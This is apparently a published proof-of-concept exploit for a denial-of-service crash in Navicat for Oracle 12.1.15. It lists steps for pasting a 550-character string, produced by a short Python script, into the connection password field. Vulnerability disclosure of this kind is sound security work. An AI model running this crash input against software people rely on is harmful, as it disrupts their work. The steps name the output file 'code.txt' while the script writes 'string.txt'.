#Exploit Title: Navicat for Oracle 12.1.15 - "Password" Denial of Service (PoC)
#Discovery by: Victor MondragA3n
#Discovery Date: 2019-02-14
#Vendor Homepage: https://www.navicat.com/es/
#Software Link: https://www.navicat.com/es/download/navicat-for-oracle
#Tested Version: 12.1.15
#Tested on: Windows 10 Single Language x64/ Windows 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: Navicat_for_Oracle_12.1.15.py
#2.- Open code.txt and copy content to clipboard
#2.- Open Navicat for Oracle 12.1.15
#3.- Select "ConexiA3n" 
#4.- Select "Oracle"
#5.- In "Nombre de conexiA3n" type "Test"
#6.- In "Tipo de conexiA3n" select "Basic"
#7.- In "Host" type 1.1.1.1
#8.- In "Puerto" type "1521"
#9.- In "Nombre del servicio" type ORCL
#10.- In "Nombre de usuario" type "user"
#11.- In "ContraseA+-a" Paste Clipboard 
#12.- Select "Aceptar"
#13.- Crashed

cod = "\x41" * 550

f = open('string.txt', 'w')
f.write(cod)
f.close()